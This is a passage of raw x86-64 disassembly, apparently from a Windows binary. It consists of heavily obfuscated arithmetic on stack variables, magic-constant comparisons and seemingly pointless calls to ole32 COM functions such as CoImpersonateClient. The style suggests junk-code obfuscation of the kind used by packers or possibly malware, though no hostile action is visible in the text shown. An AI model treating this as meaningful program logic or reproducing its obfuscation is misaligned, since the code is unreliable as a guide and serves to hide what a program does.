mov eax, dword [rsp + 0x3878]
mov ecx, dword [0x1401dd008]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x68a0]
mov dword [rcx], eax
jmp 0x140008325
mov eax, dword [rsp + 0x38c0]
and eax, 0x6595dc16
cmp eax, dword [rsp + 0x38cc]
je 0x1400082f2
lea r8, [rsp + 0x6988]
lea rdx, [rsp + 0x2bb00]
mov ecx, reloc.COMCTL32.dll_MakeDragList
call qword [sym.imp.ole32.dll_CoGetCancelObject]
mov dword [rsp + 0x3890], eax
mov eax, dword [rsp + 0x38cc]
sub eax, 0x4319369e
mov dword [rsp + 0x38c0], eax
mov rax, qword [rsp + 0x6978]
mov qword [rsp + 0x69a0], rax
movabs rax, 0x23248c3895990eab
cmp qword [rsp + 0x69a0], rax
je 0x14000828f
movabs rax, 0x611c37fd51263176
cmp qword [rsp + 0x69a0], rax
je 0x1400082d1
jmp 0x1400082f2
mov rax, qword [rsp + 0x68b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3878]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x68a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x68a8]
mov r8d, dword [rax]
movzx edx, byte [rsp + 0xdf]
movzx ecx, byte [rsp + 0x16f]
call fcn.1401c33b0
nop
jmp 0x1400082f2
mov rax, qword [rsp + 0x68b0]
mov rcx, qword [rsp + 0x6920]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x68e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [str.sK:], al
movzx edx, word [rsp + 0xf40]
movzx ecx, byte [rsp + 0xdf]
call fcn.1401c3b50
nop
mov rax, qword [rsp + 0x6918]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6910]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x6918]
mov word [rcx], ax
mov eax, dword [0x1401dd008]
mov ecx, dword [rsp + 0x3878]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x68a8]
mov dword [rcx], eax
movzx eax, byte [str.sK:]
movzx ecx, byte [rsp + 0x129]
shl eax, cl
mov byte [rsp + 0xdf], al
mov eax, dword [rsp + 0x38e8]
sub eax, 0x8b
mov dword [rsp + 0x38e8], eax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdf]
and eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x6940]
mov rcx, qword [rsp + 0x6950]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x68e0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x38cc]
add eax, 0x2f5abe7b
mov dword [rsp + 0x38c0], eax
mov eax, dword [0x1401dd004]
mov ecx, dword [rsp + 0x3878]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6970]
mov dword [rcx], eax
movabs rax, 0x4807594b8551ce2c
mov rcx, qword [rsp + 0x6978]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6978], rax
movzx eax, byte [rsp + 0x129]
mov rcx, qword [rsp + 0x6898]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1401de350]
mov byte [rcx], al
movzx eax, byte [rsp + 0x129]
mov rcx, qword [rsp + 0x6898]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xdf], al
mov rax, qword [rsp + 0x6988]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6968]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6988]
mov byte [rcx], al
movzx eax, byte [rsp + 0xdf]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
cmp dword [rsp + 0x38e8], 0x4541
jae 0x140008325
mov rax, qword [rsp + 0x6890]
movzx eax, word [rax]
mov word [rsp + 0xf4c], ax
mov rax, qword [rsp + 0x6970]
mov eax, dword [rax]
mov ecx, dword [0x1401dd004]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3878], eax
mov eax, dword [rsp + 0x38c0]
sar eax, 0x18
mov dword [rsp + 0x38cc], eax
mov rax, qword [0x1401de358]
mov rcx, qword [rsp + 0x6920]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x68b0], rax
movsx eax, word [rsp + 0xf4c]
movsx ecx, word [rsp + 0xf40]
shl eax, cl
mov rcx, qword [rsp + 0x6918]
mov word [rcx], ax
movzx eax, byte [rsp + 0xdf]
mov rcx, qword [rsp + 0x6898]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1401de350]
mov byte [rcx], al
mov eax, dword [rsp + 0x38e4]
add eax, 0xda
mov dword [rsp + 0x38e4], eax
movzx eax, word [rsp + 0xf44]
and eax, 0x99d
mov word [rsp + 0xf44], ax
movsx eax, byte [rsp + 0x16f]
movsx ecx, byte [rsp + 0x171]
sub eax, ecx
mov rcx, qword [rsp + 0x6988]
mov byte [rcx], al
movsx eax, word [rsp + 0xf48]
mov rcx, qword [rsp + 0x6918]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6910]
mov word [rcx], ax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x129]
add eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x6940]
mov rcx, qword [rsp + 0x6950]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x68b0], rax
movabs rax, 0x29909e6758e3fc07
mov rcx, qword [rsp + 0x6978]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6978], rax
mov eax, dword [0x1401dd008]
mov ecx, dword [rsp + 0x3878]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x68a8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x129]
movzx ecx, byte [rsp + 0xdf]
add eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6960]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xf4c], ax
mov rax, qword [rsp + 0x68b8]
mov eax, dword [rax]
mov ecx, dword [0x1401dd008]
or ecx, eax
mov eax, ecx
mov dword [0x1401dd004], eax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
movzx eax, word [rsp + 0xf44]
shl eax, 0xf
mov word [rsp + 0xf44], ax
movsx eax, word [rsp + 0xf4c]
mov rcx, qword [rsp + 0x6960]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x6918]
mov word [rcx], ax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x6920]
mov rcx, qword [rsp + 0x68b0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6940]
mov qword [rcx], rax
mov rax, qword [rsp + 0x68a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3878]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6970]
mov dword [rcx], eax
mov eax, dword [0x1401dd004]
mov ecx, dword [rsp + 0x3878]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x68b8]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x171]
movsx ecx, byte [rsp + 0x16f]
sub eax, ecx
mov rcx, qword [rsp + 0x6988]
mov byte [rcx], al
movzx eax, byte [rsp + 0xdf]
mov rcx, qword [rsp + 0x6898]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1401de350]
mov byte [rcx], al
movsx eax, byte [rsp + 0x16f]
mov rcx, qword [rsp + 0x6988]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6968]
mov byte [rcx], al
mov rax, qword [rsp + 0x6918]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6960]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6910]
mov word [rcx], ax
cmp dword [rsp + 0x38e4], 0x5041
jne 0x1400084bd
mov eax, dword [rsp + 0x38cc]
mov dword [rsp + 0x3904], eax
cmp dword [rsp + 0x3904], 0xffffff98
je 0x140008880
cmp dword [rsp + 0x3904], 0x691a77b4
je 0x140008801
jmp 0x140008974
mov rax, qword [rsp + 0x6968]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x170]
add eax, ecx
mov rcx, qword [rsp + 0x6988]
mov byte [rcx], al
lea rcx, [rsp + 0x6988]
call qword [sym.imp.ole32.dll_CoEnableCallCancellation]
mov dword [rsp + 0x3890], eax
call qword [sym.imp.ole32.dll_CoImpersonateClient]
mov dword [rsp + 0x3908], eax
mov rax, qword [rsp + 0x68b8]
mov rcx, qword [rsp + 0x6970]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3878], eax
movzx eax, byte [rsp + 0xdf]
movzx ecx, byte [rsp + 0x129]
sub eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
jmp 0x140008974
lea rax, [rsp + 0x6920]
mov qword [rsp + 0x69a8], rax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
mov byte [rsp + 0x390c], al
cmp byte [rsp + 0x390c], 0
je 0x1400088b1
jmp 0x140008958
mov rax, qword [rsp + 0x68e0]
mov rax, qword [rax]
mov qword [rsp + 0x69b0], rax
cmp qword [rsp + 0x69b0], 0
je 0x1400088d1
jmp 0x140008938
lea rax, [rsp + 0x38c0]
mov qword [rsp + 0x69b8], rax
lea rax, [rsp + 0xf44]
mov qword [rsp + 0x69c0], rax
movsx eax, byte [rsp + 0x170]
movsx ecx, byte [rsp + 0x16f]
sar eax, cl
mov byte [rsp + 0x171], al
movsx eax, word [rsp + 0xf40]
movsx ecx, word [rsp + 0xf48]
or eax, ecx
mov rcx, qword [rsp + 0x6910]
mov word [rcx], ax
movzx eax, byte [rsp + 0xdf]
mov byte [rsp + 0x172], al
jmp 0x140008956
mov r8d, dword [rsp + 0x3878]
movzx edx, byte [rsp + 0x129]
movzx ecx, byte [rsp + 0x171]
call fcn.1401c33b0
nop
jmp 0x140008974
movsx eax, byte [rsp + 0x171]
mov rcx, qword [rsp + 0x6988]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x16f], al
cmp dword [rsp + 0x3870], 0x5b12
ja 0x140008d0c
mov rax, qword [rsp + 0x6918]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf48]
xor eax, ecx
mov rcx, qword [rsp + 0x6918]
mov word [rcx], ax
mov rax, qword [rsp + 0x6940]
mov rcx, qword [rsp + 0x68e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x6950]
mov qword [rcx], rax
mov eax, dword [rsp + 0x38c0]
mov ecx, dword [rsp + 0x38cc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x69b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x68a8]
mov eax, dword [rax]
mov ecx, dword [0x1401dd008]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6970]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [str.sK:], al
mov rax, qword [rsp + 0x6968]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x170]
sub eax, ecx
mov rcx, qword [rsp + 0x6968]
mov byte [rcx], al
movzx eax, word [rsp + 0xf44]
add eax, 0x54e
mov rcx, qword [rsp + 0x69c0]
mov word [rcx], ax
movzx eax, byte [rsp + 0xdf]
movzx ecx, byte [rsp + 0x129]
add eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
movzx eax, byte [rsp + 0xdf]
movzx ecx, byte [rsp + 0x172]
sub eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x6968]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x171]
sub eax, ecx
mov byte [rsp + 0x170], al
mov rax, qword [0x1401de358]
mov rcx, qword [rsp + 0x68b0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x6920], rax
mov rax, qword [rsp + 0x6988]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x170]
shl eax, cl
mov rcx, qword [rsp + 0x6968]
mov byte [rcx], al
mov rax, qword [rsp + 0x6970]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x68b8]
mov qword [rsp + 0x69c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x69c8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x68a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdf]
xor eax, ecx
mov rcx, qword [0x1401de350]
mov byte [rcx], al
mov rax, qword [rsp + 0x6960]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6890]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6918]
mov word [rcx], ax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
movzx ecx, byte [str.sK:]
add eax, ecx
mov byte [rsp + 0x172], al
mov rax, qword [rsp + 0x69c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf44]
add eax, ecx
mov rcx, qword [rsp + 0x69c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6910]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf40]
sub eax, ecx
mov word [rsp + 0xf48], ax
mov rax, qword [rsp + 0x6968]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6988]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6968]
mov byte [rcx], al
mov eax, dword [0x1401dd004]
mov ecx, dword [rsp + 0x3878]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6970]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3870]
add eax, 0xb9
mov dword [rsp + 0x3870], eax
mov eax, dword [rsp + 0x38cc]
mov ecx, dword [rsp + 0x38c0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x69b8]
mov dword [rcx], eax
movabs rax, 0x745fedb6c9c0f0cb
mov rcx, qword [rsp + 0x6978]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6978], rax
mov rax, qword [rsp + 0x6920]
mov rcx, qword [rsp + 0x68b0]
sub rcx, rax
mov rax, rcx
mov qword [0x1401de358], rax
movsx eax, word [rsp + 0xf40]
movsx ecx, word [rsp + 0xf48]
sub eax, ecx
mov rcx, qword [rsp + 0x6910]
mov word [rcx], ax
mov rax, qword [rsp + 0x6988]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6968]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x171], al
movzx eax, byte [rsp + 0x172]
mov rcx, qword [rsp + 0x6898]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x129], al
movzx eax, word [rsp + 0xf44]
shl eax, 0xe
mov rcx, qword [rsp + 0x69c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x69c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf44]
sar eax, cl
mov rcx, qword [rsp + 0x69c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x69b8]
mov ecx, dword [rsp + 0x38c0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x69b8]
mov dword [rcx], eax
jmp 0x140008974
lea rax, [rsp + 0x3878]
mov qword [rsp + 0x69d0], rax
mov rax, qword [rsp + 0x68e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6920]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x69a8]
mov qword [rcx], rax
mov dword [rsp + 0x3910], 0xc730
mov rax, qword [rsp + 0x6978]
mov qword [0x1401de360], rax
cmp dword [rsp + 0x3910], 0x102e8
jae 0x1400091ec
movabs rax, 0x2f6e098d1ef1ba10
mov rcx, qword [0x1401de360]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6978], rax
mov rax, qword [rsp + 0x6960]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6910]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf4c], ax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
movsx eax, byte [rsp + 0x16f]
movsx ecx, byte [rsp + 0x170]
add eax, ecx
mov rcx, qword [rsp + 0x6988]
mov byte [rcx], al
movzx eax, word [rsp + 0xf44]
and eax, 0x303
mov rcx, qword [rsp + 0x69c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x69c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf44]
add eax, ecx
mov rcx, qword [rsp + 0x69c0]
mov word [rcx], ax
mov eax, dword [rsp + 0x3910]
add eax, 0x9c
mov dword [rsp + 0x3910], eax
mov rax, qword [rsp + 0x69a8]
mov rcx, qword [rsp + 0x68b0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6920], rax
mov rax, qword [rsp + 0x69a8]
mov rcx, qword [rsp + 0x68b0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x69a8]
mov qword [rcx], rax
movabs rax, 0x137bb14a776249f6
mov rcx, qword [rsp + 0x6978]
or rcx, rax
mov rax, rcx
mov qword [0x1401de360], rax
mov rax, qword [rsp + 0x68b8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x1401dd004]
shl eax, cl
mov dword [rsp + 0x3878], eax
mov rax, qword [rsp + 0x6918]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf4c]
xor eax, ecx
mov rcx, qword [rsp + 0x6918]
mov word [rcx], ax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x129]
sar eax, cl
mov byte [rsp + 0xdf], al
movzx eax, byte [rsp + 0x172]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
movsx eax, byte [rsp + 0x171]
movsx ecx, byte [rsp + 0x16f]
add eax, ecx
mov byte [rsp + 0x170], al
mov rax, qword [rsp + 0x69c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf44]
sub eax, ecx
mov rcx, qword [rsp + 0x69c0]
mov word [rcx], ax
mov eax, dword [rsp + 0x38c0]
mov ecx, dword [rsp + 0x38cc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x69b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x69b8]
mov ecx, dword [rsp + 0x38c0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x38cc], eax
mov rax, qword [rsp + 0x68a0]
mov rcx, qword [rsp + 0x69d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1401dd008], eax
mov rax, qword [rsp + 0x68b0]
mov rcx, qword [rsp + 0x6920]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6940]
mov qword [rcx], rax
movsx eax, word [rsp + 0xf48]
movsx ecx, word [rsp + 0xf40]
and eax, ecx
mov rcx, qword [rsp + 0x6960]
mov word [rcx], ax
movzx eax, byte [rsp + 0xdf]
mov rcx, qword [rsp + 0x6898]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x172], al
mov rax, qword [rsp + 0x6988]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16f]
shl eax, cl
mov rcx, qword [rsp + 0x6968]
mov byte [rcx], al
movsx eax, word [rsp + 0xf40]
movsx ecx, word [rsp + 0xf48]
xor eax, ecx
mov rcx, qword [rsp + 0x6960]
mov word [rcx], ax
movzx eax, word [rsp + 0xf44]
or eax, 0x582
mov rcx, qword [rsp + 0x69c0]
mov word [rcx], ax
mov eax, dword [rsp + 0x3878]
mov rcx, qword [rsp + 0x69d0]
mov qword [rsp + 0x69d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x69d8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x68a0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x172]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [0x1401de350]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6898]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x1401de350]
mov byte [rcx], al
mov rax, qword [rsp + 0x6950]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x68b0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6940]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x170]
mov rcx, qword [rsp + 0x6968]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x171], al
movzx eax, byte [rsp + 0x172]
movzx ecx, byte [rsp + 0xdf]
sub eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x6988]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6968]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6988]
mov byte [rcx], al
movsx eax, word [rsp + 0xf40]
movsx ecx, word [rsp + 0xf4c]
sub eax, ecx
mov word [rsp + 0xf48], ax
movzx eax, word [rsp + 0xf44]
add eax, 0xeb
mov rcx, qword [rsp + 0x69c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x69d0]
mov ecx, dword [rsp + 0x3878]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x68b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x69b8]
mov ecx, dword [rsp + 0x38cc]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x38c0], eax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x172]
xor eax, ecx
mov rcx, qword [0x1401de350]
mov byte [rcx], al
movzx eax, word [rsp + 0xf44]
sar eax, 4
mov rcx, qword [rsp + 0x69c0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x171]
mov rcx, qword [rsp + 0x6988]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6968]
mov byte [rcx], al
jmp 0x140008d5a
mov rax, qword [rsp + 0x69b8]
mov eax, dword [rax]
mov dword [rsp + 0x3914], eax
cmp dword [rsp + 0x3914], 0x1f995908
je 0x140009219
cmp dword [rsp + 0x3914], 0x2fb4d388
je 0x140009259
jmp 0x140009260
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
movsx eax, word [rsp + 0xf48]
movsx ecx, word [rsp + 0xf40]
sub eax, ecx
mov rcx, qword [rsp + 0x6918]
mov word [rcx], ax
jmp 0x140009260
call qword [sym.imp.ole32.dll_CoUninitialize]
nop
lea rax, [rsp + 0xf44]
mov qword [rsp + 0x69e0], rax
lea rax, [rsp + 0xf4c]
mov qword [rsp + 0x69e8], rax
mov dword [rsp + 0x3918], 0x8749
lea rax, [rsp + 0x38cc]
mov qword [rsp + 0x69f0], rax
mov rax, qword [rsp + 0x6940]
mov rcx, qword [rsp + 0x6920]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6940]
mov qword [rcx], rax
mov rax, qword [rsp + 0x68b8]
mov rcx, qword [rsp + 0x69d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x68b8]
mov dword [rcx], eax
movabs rax, 0x93dfab3c99e8037
mov rcx, qword [rsp + 0x6978]
add rcx, rax
mov rax, rcx
mov qword [0x1401de360], rax
movzx eax, word [rsp + 0xf44]
mov rcx, qword [rsp + 0x69c0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x69e0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x172]
movzx ecx, byte [str.sK:]
sub eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x6910]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf4c]
sub eax, ecx
mov word [rsp + 0xf40], ax
mov rax, qword [rsp + 0x6988]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x171]
add eax, ecx
mov rcx, qword [rsp + 0x6968]
mov byte [rcx], al
mov rax, qword [rsp + 0x69c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x69e0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf44], ax
mov rax, qword [rsp + 0x6950]
mov rcx, qword [rsp + 0x6920]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x68b0], rax
mov rax, qword [rsp + 0x68a8]
mov rcx, qword [rsp + 0x69d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3878], eax
mov rax, qword [rsp + 0x69b8]
mov rcx, qword [rsp + 0x69f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x69b8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x172]
mov rcx, qword [rsp + 0x6898]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [0x1401de350]
mov byte [rcx], al
mov rax, qword [rsp + 0x69e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf48]
shl eax, cl
mov word [rsp + 0xf40], ax
movzx eax, word [rsp + 0xf44]
mov rcx, qword [rsp + 0x69c0]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x69e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6968]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16f]
and eax, ecx
mov rcx, qword [rsp + 0x6968]
mov byte [rcx], al
movzx eax, byte [rsp + 0x129]
movzx ecx, byte [rsp + 0xdf]
sub eax, ecx
mov byte [rsp + 0x172], al
movsx eax, byte [rsp + 0x171]
mov rcx, qword [rsp + 0x6988]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6968]
mov byte [rcx], al
mov eax, dword [rsp + 0x3918]
add eax, 0xec
mov dword [rsp + 0x3918], eax
movabs rax, 0x75e5f34306623d1e
mov rcx, qword [0x1401de360]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6978], rax
mov eax, dword [rsp + 0x38cc]
mov ecx, dword [rsp + 0x38c0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x69b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x68b8]
mov ecx, dword [0x1401dd004]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x68a8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xdf]
mov rcx, qword [rsp + 0x6898]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1401de350]
mov byte [rcx], al
movsx eax, byte [rsp + 0x170]
movsx ecx, byte [rsp + 0x16f]
sub eax, ecx
mov byte [rsp + 0x171], al
movzx eax, word [rsp + 0xf44]
mov rcx, qword [rsp + 0x69c0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x69e0]
mov word [rcx], ax
movzx eax, byte [rsp + 0xdf]
movzx ecx, byte [rsp + 0x172]
xor eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x6918]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf4c]
sar eax, cl
mov rcx, qword [rsp + 0x6918]
mov word [rcx], ax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdf]
or eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x6988]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6968]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6988]
mov byte [rcx], al
movabs rax, 0x6beeb8720d7aaf75
mov rcx, qword [0x1401de360]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6978], rax
mov eax, dword [0x1401dd004]
mov ecx, dword [0x1401dd008]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3878], eax
mov rax, qword [rsp + 0x6950]
mov rcx, qword [rsp + 0x6920]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1401de358], rax
mov rax, qword [rsp + 0x69b8]
mov rcx, qword [rsp + 0x69f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x38c0], eax
movsx eax, word [rsp + 0xf48]
movsx ecx, word [rsp + 0xf4c]
add eax, ecx
mov rcx, qword [rsp + 0x69e8]
mov word [rcx], ax
movzx eax, byte [rsp + 0xdf]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6898]
